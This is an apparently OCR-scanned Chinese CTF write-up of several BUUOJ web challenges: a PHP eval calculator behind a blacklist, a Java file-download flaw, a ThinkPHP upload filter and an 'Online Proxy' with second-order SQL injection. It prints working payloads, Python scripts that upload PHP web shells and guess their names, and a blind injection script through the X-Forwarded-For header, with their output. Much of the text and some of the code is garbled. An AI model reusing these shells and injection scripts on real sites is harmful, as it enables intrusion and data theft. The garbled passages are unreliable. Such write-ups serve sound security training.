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{1--T"va set up WAF to ensure security. --»

{zcriptr
30 #cald ). submit (function() |
$oajaxl
url : “calec. phpPrum=""+encodelURIComponent (3 (" #content™) . wal ()7,
type: GET,
success:function(data) {
F078result”) . html { <div class="alert alert-success™>
{etromg YEEE < /etrong >} {datal
<fdivy’ ),
I
error:function() {
alert ("JEREYE AR ")
}
iy
return false;
iy
<fseripts

PR R 1K AU 1 waf, BATUi calc.php » & RIPRAS AR

{?php

error_reporting(0);

if (lisset($_GET[ num 1)) {
show_source(__FILE_ );

lelsel
Sstr = S GET[ num'];
Shlacklist = [ ', "\, "\, “\o',0N, 7, T, oA,
foreach ($blacklist as $blackitem) |
if (preg match( /" . Sbhlackitem . '/m', $str))
die("what are vyou want to do?”);
eval (echo ~.8%str.’:"):
2

num e NZRILI, ARJEHT eval() tHEIFRIH, B9 7 waffi A num s R 58, 2 ERGREI403, FrA%— DSl e.

Bt fig #0105 Ut LA A S HAT T IS0, BIRRE 2num= 2508 2 num= BTS20 .
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GET /calc.php?num=phpinfo() HTTP/1.1 3 <td class="v">Linux d22b1937951¢ 4.15.0-52-generic #56-Ubuntu SMP Tue Jun 4 22:49:08 UTC 2019 x86_64</td>
Host: node3buuoj.cn:28314 </tr>

Upgrade-Insecure-Requests: 1 <tr>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 <td class="e">Server API</td >

Accept: text/htm application/xhtrl + xml \/xmliq=0.9, pimage/apng,*/*q=0.8,application/sig <td class="v">Apache 2.0 Handler < /td>

Accept-Language: zh-CN:zhiq=0.9,en;q=0.8 </r>

| Connection; dose <tr>

[Content-Length: 34

<td class="e" >Virtual Directory Support« /td>
[Transfer-Encoding: chunked

<td class="v">disabled</td>
</tr>

<tr>

<td class="e" > Configuration File (php.ini) Path</td>

<td class="v">/etc/php/7.0/apache2< /td>
<Jtr>
<tr>

<td class="e">Loaded Configuration File</td >

<td class="v">/etc/php/7.0/apache2/php.ini< /td>
</tr>
<tr>

<td class="e">Scan this dir for additional .ini files</td>

<td class="v">/etc/php/7.0/apache2/conf.d < td>
</tr>
<tr>

<td class="e">Additional .ini files parsed</td>

<td class="v">/etc/php/7.0/apache2/canf.d/10-mysqlnd.ini,

/etc/php/7.0/apache2/conf.d/10-opcache.ini,

/etc/php/7.0/apache2/conf.d/10-pdo.ini,
Jetc/php/7.0/apache2/conf.d/20-calendar.
/etc/php/7.0/apache2/conf.d/20-ctyp
/etc/php/7.0/apache2/conf.d/20-cu

GET fcalcphp?num=1 HTTP/1.1

/etc/php/7.0/apache2/conf.d/20-fileinfo.in,
Jetc/php/7.0/apache2/conf.d/20~ftp.ini,

Jetc/php/7.0/apache2/conf.d/20-gettext.ini,
Jetc/php/7.0/apache2/ conf.d/20-icor
Jetc/php/7.0/apache2/ conf.d/20-json.
Jetc/php/7.0/apache2/conf.d/20-mysqli.ini,

Jetc/php/7.0/apache2/conf.d/20-pdo_mysql.ini,

Jetc/php/7.0/apache2/cont.d/20-shmop.
L Jetc/php/7.0/apache2/conf.d/20-so cket
Ietefnhn/7 0/anache? /eonf d/20-cvevmen

N A QT 5Eid black_list R&Eflag 1, BERMESGREZEAZ, HRH A — L8 Ao A B R ORI IE .

] scandir BEHCH SFWF, BN EUE B /. ATFIH hex2bin(dechex(47)) » ¥ / HasciildiEdil 4% 167 EH], B NTFRTF

PS C:\Users\Lethe> php

/

SR 5 HoAh (Kt 2 F ] base_convert() T, 1 base_convert('scandir',36,10) , T refA15H

i print_r(base_convert(61693386291,10,36) (hex2bin(dechex(47)))) 1 H

GET fcalc php7num=print_r(base_convert(61693386291,10,36)(hex2bin(dechex(a7)))) HTTP/1.1 i | ZIDOCTYPE HTML PUBLIC —//IETF//DTD HTML 2.0//EN"> .
Host: node3 buuoj.cn:28314. <html>

Upgrade-Insecure- Requests: 1 <head>

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 <title>400 Bad Request</title>

Accept: text/html applic himl+xml \/xmlg=0.9, ge/apng*/*;q=0.8.application/sig </head

Accept-language: zh-CN zhiq=0.9,en:q=0.8 <body>

‘Connection: close
Content-Length: 34
Transfer-Encoding: chunked

<h1-Bad Request</h1>
<p>Your browser sent a request that this server could not understand.
<br />
<Ip>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at node3.buuoj.cn Port 28314./address>
</body>
</html>
Array

GET fcalcphpTnum=1 HTTR/1.1

2] => .dockerenv
[3] => bin

[41 => boot
[5]=> dev

[6] => etc

[7] => flagg '
8] => home
191 => lib

[10] => lib64
(1] => media
[12] => mnt
[13] => opt
[14] => proc
[15] => root
[16] => run
[17] => sbin
(18] => srv
[19] => start.sh
[20] => sys
[21] => tmp
[22] => usr
23] => var

)

1

SRIGHFIH readfile() HHL, k& payload: base_convert(2146934604002,10,36)
(hex2bin(dechex(47)).base_convert(25254448,10,36))



GET /calc.php?num=base_convert(21 2,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)) HTTP/1.1 ? <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
Host: node3 buuoj.cn:28856 <html>
Upgrade-Insecure-Requests: 1 <head>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 <title>400 Bad Request</title>
Accept: text/html application/xhtml+xml apg fxmlig=0.9 bp.image/apng,*/*:q=0.8 application/signed-exchangev=b3 </head>
Accept-Language: zh-CN.zh,q=0.9.en;q=0.8 <body>
Connection: close <h1>Bad Request</h1>
Content-Length: 26 <p>Your browser sent a request that this server could not understand.
Transfer-Encoding: chunked <br />
</p>
<hr>
GET fcalc.php HTTP/1.1 <address>Apache/2.4.18 (Ubuntu) Server at node3.buuoj.cn Port 28856</address>
</body>
</fhtml>
flag{ff1189bb-14e0-486d-99ae-c2bc193¢1872)
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Easy Java

BEANZ JaR— AN GG, HESEARERXNHE, sIthelp, WTF:

GET /Download?filename=help.doox HTTP/1.1 A HTTP/1.1 200 OK

Host: 0b6f4a33-0f7f-4f04-896¢-561d69aa93c0.node3 buuoj.cn Server: openresty

Pragma: no-cache Date: Thu, 17 Oct 2019 16:43:56 GMT

Cache-Control: no-cache Content-Type: text/plain; charset=utf-8

Upgrade-Insecure-Requests: 1 Content-Length: 41

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Connection: close

Accept: text/html application/xhtml +xml.application/xml:q=0.9.image/webp.image/apng */*:q= 0.8 application/signed-exchangev=b3

Referer: http://0b6f4a33-0f7f-4f04-896¢-561d69aa93c0.node3.buuoj.cn/Login Jjava.io.FileNotFoundException:(help.docx|

Accept-language: zh-CN.zh;q=0.9,.en;q=0.8

Cookie: JSESSIONID=7D1C6AD268A367ED1C67FFCI4FIE2ESE

Connection: close

% % Download?filename=help.docx , AHFITRE SCAFEEHL. ..
244y N N (=
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POST /Download?filename=help.docx HTTP/1.1 . HTTP/1.1 200 OK E
0b6f4a33-0f7f-4f04-896¢-561d69aa93c0.node3 buuoj.cn Server:

CacMg-Control: max-age=0 Date: Thu, 17 Oct 2019 17:04:53 GMT

Upgrade-Insecure-Requests: 1 [« ype: applicati i document

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winﬁd x64) AppleWahKlUSST 36 KKHTML like Gecko) Chmme/ﬂ 03865 120 Safari/537.: 36 Connection: close

(Accept: text/html. application/xhtml +xml g png */*q=03, Content-Disposition: attachment filename=help.docx

Accept-language: zh-CN zhiq=0.9.eniq=0. Content-Length: 12376

‘Cookie: JSESSIONID= 'ID|C5AD25M367ED|C67FFCMF5E2E5E

‘Connection: close PKOO00000000!D/#§Z000 0000000([Content_Types].xml
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POST /Download?filename=WEB-INF/web.xml HTTP/1.1

Host: 0b6f4a33-0f7{-4f04-896¢-561d69aa93c0.node3 buuocj.cn

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.120 Safari/537.36

Accept:

ed-exchange;v=b3

Referer: http://0b6f4a33-0f7f-4f04- 896¢- 561d69aa93c0.node3.buuaj.cn/Login
Accept-Language: zh-CN zh;q=0.9,en;q=0.8

Cookie: JSESSIONID=7D1C6AD268A367ED1C67FFCI4FIE2ESE

Connection: close

Content-Length: 0

B2 [ flagt H %, T

.

<welcome-file-list>
<welcome-file>Index< /welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexC oller< /servlet
<servlet-class > com.wm.ctf.IndexController < /serviet-class>

text/html application/xhtml+xml.application/xmlkq=0.9.image/webp.image/apng.*/*:q=0.8application/sign </serviet>

<servlet-mapping >
<servlet-name>IndexController</servlet-name>
<url-pattern>/index</url-pattern >

< /servlet-mapping >

<serviet>
<servlet-name>LoginController</servlet-name >
<servlet-class > com.wm.ctf.LoginController< /servlet-class >
</serviet>
<servlet-mapping >
<servlet-name >LoginController< /servlet-name >
<url-pattern>/Login< furl-pattern >
< /fservlet-mapping >

<serviet>
<servlet-name>D load troller< /servlet-name >
<servlet-class > com.wm.ctf.DownloadController < /serviet-class>
</senvlet>

<servlet-mapping >
<servlet-name >DownloadController</serviet-name >
<url-pattern>/Download < /url-pattermn >
</servlet-mapping >

<sefviet>
<servlet-name>FlagController</servlet-name>
<servlet-class > com.wm.ctf.FlagController=< fserviet-class>

</servlet>

<servlet-mapping >
<servlet-name>FlagController</serviet-name >
<url-pattern>/Flag</url-pattern >

</servlet-mapping >

POST /Dx i =/WEB-I!
Host: 0b6f4a33-0f7f-4f04-89%
Pragma: no-cache

Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120
sSafari/537.36

Accept:

text/htmlapplicati i+ xl,applicati I i i *1+q=038,

=b3

Referer: http://0b6f4a33-0f7f-4f04-896¢-561d69aa93c0.node3.buugj.cn/Login

Accept-language: zh-CNizh:q=0.9,en:q=0.8

‘Cookie: JSESSIONID=7D1C6AD268A367ED1C67FFCI4FIE2ESE

Connection: close

‘Content-Length: 0

lagController.class HTTP/1.1 [y
jcn

Fi1Zbase64 il 152 flag

Simple Upload

HTTP/1.1 200 OK
Server: openresty
Date: Thu, 17 Oct 2019 17:01:23 GMT
Content-Type: application/java
Content-Length: 872
Connection: close
tent-Dispositi = /WEB. tf/FlagController.class

R00040+
0000000 000000000000
o

0'00000°000flagd00Lj: ing:000 <init>000)VOO0Code00OLi 00doGetd0! t/http/Http!

nse;)VO0

Exceptions0D#00$00
iled0OFlagC:

alal i 00%L; D0named0DFlagControllerd 000000 < ZmxhZ3s2M DKSNGYy Ny 1KOTAW
LTQ4ZWUOTgOZSTINjdjMTYXOWQOMTFCg=-00 O

00%00&0'00&<h1 >Flag is nearby ~ Come on! !

1</h1>00(00)0*000j oo O0Djava/io/IO ion00 & D 00

getWriter0O0( i iter;000j: i 000print0 00 (L i 1'00000000000 o
0000000000000000'00000000+000+000000000000000

| Doooo

0000000000000000.00000000,00000N-00000000000000000000000000000000000000000000000000000000000000000s00




X — 8 & thinkphp ) _F 4%«

<“php
namezspace Home“Controller,

uze Think“Controller;

claze IndexController extends Controller

{
public fumction index()
{
show_sourcel__FILE__:
1
public function upload()
{
fuploadFile = §_FILES[ file’]
if  (strstrisztrtolower ($uploadFile[ name’ 13, “.php”) 1 |
return false:
I
fupload = new Think\Uplead()// Z5{l4k {52
fupload-rmaxSize = 4096 S/ HEMHELEEHRAD
fupload->allowExts = array( jpg’, “gif’, ‘png’, Cipeg’)SS EEHF L EH
fupload->rooctPath = 7. /Public/Uploads/" ;// ESEMHHFEET
fupload-rsavePath = °7 ./ EEMFTLETET
$info = $upload-rupload()
if {1$info} [// LHEEERETEEREEERE
$thiz-rerror ($upload-rgetError ()] ;
return;
lelsel/s EEEN FEREEIHEER
furl = _ _RMOT__. substri{fupload-rrootPath, 1). $info[ file’ ][ savepath’ ]. $info [ file’ 1 [  savename’ ]
echo  jzon_encode(array("url”=>furl, “succeszz"=>1)];
1
I
1
ik

X BA M Efuzzit, fHH xxx. <>php 7] PLGet Sk H i30T FALorz. ..

import requests

url = "http://27e9c108-617d-42ed-8ad8-afe7e9e4c369.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()

files = {"file": ("shell.<>php", "<?php eval($ _GET['cmd'])?>")}

r = requests.post(url, files=files)

print(r.text)

PS C:\Users\Lethe\Desktop> python .\exp.py

{"url™:"\/Public\/Uploads\/2819-18-18\/5dag8a89833ce3.php", "success":1}

AR, ERERIA 15 2 flag.

fiR vk —.



R RS, FATAT A HIX B A T ThinkPHP3.2.4

X! SHEBE ~

ThinkPHP

TR ZATIRRASE — F 3 EAR 1B

upload($files="") {
if("" === $files)q
$files = ¢ FILES;

1

J
1t (empty($files))q

-»error =

return B

if(! ->uploader->checkRootPath( ->rootPath)){
->error = ->uploader->getError();

return B

ATLAER], Y4 $files AAWS, SERK $_FILES R4S $file, HI4 A% $ FILES TRIFTA SCHE, M H b R4t
JE $_FILES['file'], MILET LUEtshell LA, R BRI H LT bl 7, Ak W & o SCFH b E .

M5 SCAF 24 BRI HT uniqid() BREA RUH)
e uniqid() s AR T CURRD T AT ), 2B Rl NE—) ID

JITCARE I 18] A AR AN SCPR U, AT DU AR SO 44, BIAS D T



import requests

url = "http://a4eab965-1727-497b-9c42-8fc52baecb6c.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()

files = {"file": ("1l.txt", "1"),"lethe": ("shell.php", "<?php eval($ _GET['cmd'])?>")}

r = requests.post(url, files=files)

print(r.text)

filename = r.text.split("/")[-1].split(".")[0]

# print(filename)

filename = int(filename, 16)

while (True):
shellname = hex(filename)[2:]
# print(shellname)
url = f"http://ad4eab965-f727-497b-9c42-8fc52baecb6c.node3.buuoj.cn/Public/Uploads/2019-10-20/{shellname}.php

# print(url)

r = requests.get(url)

if r.status_code != 404:
print("Find it: " + url)
print(r.text)
break

else:
filename += 1

dac8ldfécbee . txt”,"success":1}

?baech6c. node3. buuoj . cn/Public/Uploads/2819-18-28/5dac81df6d48e . php

Online Proxy
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mysql> insert into test( Id™, current ip~, last ip”) wvalues('1',"1'+(18@)+'1",'111");

Query OK, 1 row affected (0.88 sec)

mysql> select * from test;
____+_

1 row in set {9.80 sec)

mysql> insert into test( Id™, current ip~, last ip”~) values('2','@'+'1088'+'B",'222');
Query OK, 1 row affected (8.80 sec)

select * from test;

in set (8.80 sec

mysql> insert into test( Id”, current ip~, last ip~ ) values('3",'@®'+(select conv(substr(hex(database()),1,12),16,10))+'0"', '333");

Query OK, 1 row affected (0.80 sec)

select * from tes

s in set (.80 sec)

select unhex(conv(6517862, 10 ,16));

1 row in set (0.80 sec)

upload (RCTF 2015)

NHEBHATIRAE, ATE S IEXXF

GET / HTTP/1.1

Host: node3.buugj.cn:28136

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.120 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 application/signed-exchange
w=h3

Accept-Language: zh-CNzh;q=0.9,en;q=0.8

Cookie: track_uuid=95800a05-15f1-4511-95b6-8aba487f1755

Connection: close

X-Forwarded-For: 0'+ conv(hex(substr((select database(),1,5)),16,10)+'0

HRE X wp.

0'+conv(hex(substr((select database()),1,5)),16,10)+'0

HTTP/1.1 200 OK

Server: nginx/1.16.1

Date: Mon, 21 Oct 2019 13:29:20 GMT
Content-Type: text/html;; charset=UTF-8
Connection: close

X-Powered-By: PHP/7.3.10
Content-Length: 369

iM{EF Online Proxy, {ERGER /2url=, HliN /2url=https://baidu.com/, <br>
hTREEHERGE, RITERENERES. XLERRSMBTIRARIMRS. BooMde. <br-
<!-- Debug Info:

Duration: 0.22251296043396 s

Current Ip: 0'+ conv(hex(substr((select database()),1,5)),16,10)+'0

Last Ip: 123 -->


https://blog.csdn.net/qq_42181428/article/details/89345094

SRJE RS XXF, SR A2, 5 R R EATRT LA 2R [ 1 A

GET / HTTP/1.1

Host: node3.buuoj.cn:28136

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.120 Safari/537.36

Accept:

text/html, application/xhtml+xml application/xml;q=0.9.image/webp,image/apng */*;q=0.8,application/signed-exchange
v=b3

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: track_uuid=95800a05-15f1-4511-95b6-8abad87f1755

Connection: close

X-Forwarded-For: 123

HTTP/1.1 200 OK

Server: nginx/1.16.1

Date: Mon, 21 Oct 2019 13:28:59 GMT
Content-Type: text/html;; charset=UTF-8
Connection: close

X-Powered-By: PHP/7.3.10
Content-Length: 322

IMMER Online Proxy, ERfAER /2url=, Hif0 /7url=https://baidu.com/, <br>
ATREGHEBEE, BITEIRSHERRES, RUERRSIRBTEARIIMES, 0080, <br>
<!-- Debug info:

Duration: 0.22175908088684 s

Current Ip: 123

Last Ip: 6517862 -->

ER: —IRABEERARZ AL, AR0RE S ARFATH R RS, IR Sl 455 1.

R ESHAINT »



import requests
import binascii

url = "http://node3.buuoj.cn:28136/"

s = requests.session()

def get_length(sqgl):
length = ""
payload = f"@'+length(({sql}))+'e"
header = {'X-Forwarded-For': payload}
r = s.get(url, headers=header)
header[ 'X-Forwarded-For'] = 'Lethe'
r = s.get(url, headers=header)
r = s.get(url, headers=header)
length = r.text.split(" ")[-2]
return length

def get_result(sql):
all_result = ""
length = int(get_length(sql))
print("length: "+str(length))
for i in range(1, length + 1, 5):
payload = f"0'+conv(hex(substr(({sql}),{i},5)),16,10)+'0"
header = {'X-Forwarded-For': payload}
r = s.get(url, headers=header)
header|[ 'X-Forwarded-For'] = 'Lethe'
r = s.get(url, headers=header)
r = s.get(url, headers=header)
result = int(r.text.split(" ")[-2])
# print(result)
# print(binascii.a2b_hex(hex(result)[2:]).decode( 'utf8"'))
all result += binascii.a2b_hex(hex(result)[2:]).decode('utf8")
return all result

# sql = "select group_concat(schema_name) from information_schema.schemata”
# sql = "select group_concat(table_name) from information_schema.tables where table _schema = 'F4l9 _D4t4B45e""
# sql = "select group_concat(column_name) from information_schema.columns where table _name='F4l9_t4ble'"

sql = "select group _concat(F419 CO1uMn) from F419 D4t4B45e.F419 t4ble"
print(get_result(sql))
SRR

PS F:\CTF\RoarCTF\Web\OnlineProxy> python3 .\my exp.py
length: 75

flag{G1lzjin Want5 4 91rl Frlend},flag{5eae32dd-b38f-47af-8eaf-2f3322c819e6}
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